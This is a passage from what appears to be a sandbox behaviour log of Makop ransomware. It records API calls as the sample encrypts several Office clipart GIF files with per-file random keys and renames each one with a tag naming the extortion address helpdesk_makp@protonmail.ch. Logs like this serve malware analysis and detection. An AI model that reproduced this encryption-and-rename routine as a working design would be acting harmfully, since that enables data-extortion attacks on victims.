(hFile=0x130) returned 1 [0155.817] GetProcessHeap () returned 0x48a0000 [0155.818] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.818] GetProcessHeap () returned 0x48a0000 [0155.818] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.818] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.820] CloseHandle (hObject=0x130) returned 1 [0155.820] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0155.820] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF") returned 76 [0155.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.821] GetProcessHeap () returned 0x48a0000 [0155.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.821] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.822] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0155.826] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.826] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.826] GetProcessHeap () returned 0x48a0000 [0155.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.826] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.826] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.826] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.826] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.827] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.827] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.827] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.827] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.827] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.828] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x43e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x43e, lpOverlapped=0x0) returned 1 [0155.828] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x440, dwBufLen=0x440 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x440) returned 1 [0155.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.828] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x440, lpOverlapped=0x0) returned 1 [0155.828] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.828] SetEndOfFile (hFile=0x130) returned 1 [0155.835] GetProcessHeap () returned 0x48a0000 [0155.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.835] GetProcessHeap () returned 0x48a0000 [0155.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.835] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.837] CloseHandle (hObject=0x130) returned 1 [0155.837] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0155.837] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF") returned 76 [0155.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.838] GetProcessHeap () returned 0x48a0000 [0155.838] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.838] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.839] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0155.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.844] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.844] GetProcessHeap () returned 0x48a0000 [0155.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.844] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.844] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.844] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.844] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.845] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.845] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.845] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.845] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.846] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x412, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x412, lpOverlapped=0x0) returned 1 [0155.846] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x420, dwBufLen=0x420 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x420) returned 1 [0155.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.846] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x420, lpOverlapped=0x0) returned 1 [0155.846] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.847] SetEndOfFile (hFile=0x130) returned 1 [0155.854] GetProcessHeap () returned 0x48a0000 [0155.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.854] GetProcessHeap () returned 0x48a0000 [0155.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.854] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.856] CloseHandle (hObject=0x130) returned 1 [0155.857] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0155.857] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF") returned 76 [0155.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.858] GetProcessHeap () returned 0x48a0000 [0155.858] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.858] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.859] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0155.865] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.865] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.865] GetProcessHeap () returned 0x48a0000 [0155.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.865] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.865] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.866] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.867] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.867] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b7f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1b7f, lpOverlapped=0x0) returned 1 [0155.868] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b80) returned 1 [0155.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.869] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1b80, lpOverlapped=0x0) returned 1 [0155.869] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.869] SetEndOfFile (hFile=0x130) returned 1 [0155.877] GetProcessHeap () returned 0x48a0000 [0155.877] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.877] GetProcessHeap () returned 0x48a0000 [0155.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.880] CloseHandle (hObject=0x130) returned 1 [0155.880] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0155.880] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF") returned 76 [0155.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.882] GetProcessHeap () returned 0x48a0000 [0155.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.882] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.882] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0155.887] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.887] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.887] GetProcessHeap () returned 0x48a0000 [0155.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.887] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.887] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.887] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.887] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.888] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.888] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.888] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.889] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.889] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ad, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6ad, lpOverlapped=0x0) returned 1 [0155.889] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6b0) returned 1 [0155.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.889] WriteFile (in: hFile=0x130, 